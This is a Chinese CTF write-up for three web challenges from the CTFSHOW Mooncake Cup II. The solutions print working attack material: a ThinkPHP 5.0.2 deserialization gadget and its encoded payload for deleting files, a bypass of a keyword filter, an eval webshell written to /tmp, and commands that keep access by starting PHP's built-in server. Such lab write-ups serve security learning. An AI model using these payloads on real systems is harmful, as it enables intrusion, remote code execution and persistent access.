CTFSHOW月饼杯II

web签到

复制代码
<?php
  //Author:H3h3QAQ
  include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
  if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
    判断 YBB 的 MD5 值是否等于 YBB 本身
    echo "小伙子不错嘛!!flag给你了:" . $flag;
  } else {
    echo "偶吼,带黑阔被窝抓到了!!!!";
  }
}

MD5绕过以为一个数组绕过可以直接秒掉

这里是弱比较那我们就用科学计数法来绕过

通常我们使用数组绕过,是因为像 MD5这种老函数在处理数组时会返回 NULL。如果两边都是 NULL,则 NULL==NULL成立

hash()函数的特性 :与md5()函数不同,hash()函数不支持数组输入。如果你给hash()传入一个数组,它会直接报错或返回false(取决于 PHP 版本),而不会像 MD5()那样产生可利用的 NULL

比较逻辑断裂:即便 hash()返回了 false(),你传入的$_GET["YBB"]却是一个真实的数组 [1]。在 PHP 弱类型比较中,false==array是不成立的

MD5弱比较

eztp

复制代码
<?php
namespace app\index\controller;
class Index
{   
    public function index($run=[])
    {
        highlight_file(__FILE__);
        echo '<h1>Welcome to CTFSHOW</h1></br>';
        echo 'Powered by PHPthink5.0.2</br>';
        echo dirname(__FILE__);
      输出当前文件所在目录

    if (!empty($run[2])){
      当传了 ?run[2]=xxx 并且不为空时触发
            echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
        }
    if (!empty($run[1])){
      直接对可控参数进行反序列化
      $run[1] 是完全可控的典型的反序列化漏洞入口
            unserialize($run[1]);
        }
    }
    // hint:/index/index/backdoor
    public function backdoor(){
        if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
        echo "Try to post CMD arguments".'<br/>';
            $data = input('post.');
            if (!preg_match('/flag/i',$data['cmd'])){
                $cmd = escapeshellarg($data['cmd']);
        $cmd='cat '.$cmd;
        echo $cmd;
                system($cmd);
            }else{
                echo "No No No";
            }

        }else{
        echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
    }
    }
}

首先解码加密内容

提示 flag 在 flag,txt

通过backdoor得到flag,但需要先删除"install.lock"

根据报错信息,Thinkphp版本为5.0.2

可以利用Thinkphp5.1任意文件删除漏洞

https://blog.csdn.net/weixin_74427106/article/details/134626206

复制代码
<?php
namespace think\process\pipes;
反序列化必须保证类名和命名空间与目标环境完全一致,否则 PHP 找不到这个类
use think\Process;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = ["/var/www/html/application/index/controller/../../install.lock"];
      设置要删除的目标路径。你根据之前 dirname(__FILE__) 的提示,精准定位到了 install.lock
    }
}
echo urlencode(serialize(New Windows()))."\n";
serialize(New Windows())
将构造好的对象转换为字符串
?>

/index.php/index/index/?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

成功删除后访问

cmd=/fl%99ag

%99(一个不可见的非 ASCII 字符)

ThinkPHP 5.0.x 反序列化漏洞 + 任意文件删除 + RCE

不要离开我

复制代码
<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
  如果 action=check,服务器会向内部的 checker 发起请求
        break;
    default:
        die('params not validate');
  如果不传 action 或者传的值不是cmd和check,程序直接终止并报错
}

params not validate
复制代码
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");
没有编码发现没有反应编码之后成功发送   这个\是为了避免shell被转义
  cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b
    看看有没有设置成功

看看有没有设置成功

复制代码
cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");

cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a

然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

check之后光速退出,就可以看到这个页面

权限维持

相关推荐
白日与明月16 小时前
问题分析模型
学习方法·思维·方法论
链上杯子19 小时前
幂等性是什么?为什么会重复扣款,以及接口防重怎么做
个人开发·学习方法
Rabitebla1 天前
【C++】string 类:原理、踩坑与对象语义
linux·c语言·数据结构·c++·算法·github·学习方法
liulian09161 天前
Flutter for OpenHarmony 混合开发实践:用户反馈功能的实现与适配
flutter·华为·学习方法·harmonyos
liulian09162 天前
【Flutter for OpenHarmony第三方库】Flutter for OpenHarmony 离线模式实现:让你的应用无网也能萌萌哒~
开发语言·flutter·华为·php·学习方法·harmonyos
ADHD多动联盟3 天前
专注力障碍是什么?主要有哪几点影响孩子的学习与社交能力?
学习·学习方法·玩游戏
AKA__Zas3 天前
初识多线程(初初识)
java·服务器·开发语言·学习方法
liulian09163 天前
【Flutter for OpenHarmony第三方库】Flutter for OpenHarmony 底部导航栏交互设计与性能优化实践
flutter·华为·交互·学习方法·harmonyos
liulian09164 天前
【Flutter for OpenHarmony 第三方库】Flutter for OpenHarmony 第三方社交登录功能适配与实现指南
flutter·华为·学习方法·harmonyos
liulian09164 天前
【Flutter for OpenHarmony第三方库】Flutter for OpenHarmony 骨架屏实现与用户加载体验优化指南
flutter·华为·学习方法·harmonyos